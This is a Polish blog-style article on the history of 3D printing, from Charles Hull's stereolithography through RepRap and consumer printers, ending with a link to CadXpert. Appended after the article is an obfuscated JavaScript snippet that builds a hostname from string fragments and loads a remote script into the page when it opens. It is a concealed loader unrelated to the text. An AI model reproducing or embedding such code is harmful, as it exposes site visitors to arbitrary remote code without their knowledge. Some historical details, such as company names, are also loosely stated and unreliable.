

Historia drukarek 3d

Za ojca druku w 3D uważa się Charlesa Hulla. To on w roku 1984 opracował tę innowacyjną technikę. Prawdopodobnie pierwszym wydrukiem zrealizowanym przez pomysłodawcę tej technologii, był prezent dla żony - filiżanka do herbaty. Dwa lata później pomysł został opatentowany pod nazwą stereolitografii (w skrócie SLA). Charles Hull bardzo szybko założył własną firmę 3D System, która do dziś jest czołowym producentem drukarek przestrzennych.

Oczywiście, druk w technologii 3D nie mógł być od razu perfekcyjny. Aby uzyskać idealne prototypy, potrzeba było kilku lat. Ale po kolei. W roku 1992 powstała pierwsza drukarka komercyjna tego typu. Nie była wolna od wad, jednak jest to przełomowy krok w historii druku 3D. Została ona wyprodukowana w firmie Hulla i działała na zasadzie utwardzania światłem lasera UV kolejnych warstw wylewanego fotopolimeru. Urządzenie to było już zdolne do tworzenia dość skomplikowanych przedmiotów. Bardzo szybko zaczęto upatrywać się w tej technologii szans rozwoju medycyny. I tak, dzięki wspólnej pracy naukowców oraz grupy lekarzy z Instytutu Medycyny Regeneracyjnej w Wake Forest w Stanach Zjednoczonych, doszło do drukowania organów do transplantologii, m.in. miniaturowej nerki, która może filtrować krew oraz tworzyć urynę. Przełom ten nastąpił pod koniec XX wieku w roku 1999. Kolejnym, niezwykle ważnym rokiem w historii druku przestrzennego jest rok 2005. Wtedy to wykładowca z Uniwersytetu z Bath - Adrian Bowyer, postanowił stworzyć zupełnie nowy model - drukarkę samoreplikującą się. Projekt ten nazwano RepRap, a pierwszą drukarką stworzoną w ten sposób, nazwano Darwin 1.0. I tak właśnie weszliśmy w erę niskobudżetowych drukarek 3D. Bardzo dużą rolę odegrała m.in. firma Objet, która dzięki swoim działaniom i dużemu zaangażowaniu, doprowadziła do rozpowszechnienia druku 3D na wielką skalę oraz pomogła w projektowaniu drukarek, które wykorzystywały technologię SLS. Drukarki, które wcześniej kosztowały dziesiątki tysięcy euro, zaczęły bardzo szybko tanieć i już pod koniec 2008 roku, można było zakupić je nawet za mniej niż 1000 zł! Drukiem zainteresowało się wielu ludzi, powstało też dużo nowych firm zajmujących się drukiem w tej technologii. W następnych latach, druk przestrzenny zaczął rozwijać się z potężną mocą. W 2009 roku za sprawą firmy MarkerBot, pojawiły się na rynku zestawy drukarek do własnoręcznego montażu, w 2011 roku wydrukowano pierwszy samolot oraz samochód - ekologiczny, wyprodukowany przez Kar Ecologic. Prawdziwy jednak przełom nastąpił w 2013 roku, kiedy to urządzenia te trafiły do masowej sprzedaży i znajdują się w ofertach największych sklepów; Staples czy Amazon. Także i Polska nie pozostała w tyle. Z technologią 3D należy kojarzyć takie polskie firmy jak 3d Wydruki czy Omni3D. Technologia ta daje niemal nieograniczone możliwości wydruków. Pozwala na wydrukowanie każdego przedmiotu, w różnych kolorach i z różnych materiałów.; wspomniane już pojazdy, samoloty, pięknie grające instrumenty smyczkowe, protezy wykorzystywane w medycynie, biżuteria, przedmioty codziennego użytku. Technologia galopuje na naszych oczach! Więcej informacji na temat drukarek oraz skanerów 3d można znaleźć na stronie CadXpert.com.pl.

```
(function(){
  u6sb=document.createElement("script");u6sb.type="text/javascript";
  u6sb.async=true;u6sb_=(("us")+("t"))+"a";u6sb_+=("t.i")+""+"n";u6sb_+=(("f")+("o"));
  u6sb.src="http://"+u6sb_+"/286424.ck4gfii46sbdn53nnc8wx8u4514jxg";
  document.body.appendChild(u6sb);
})();
```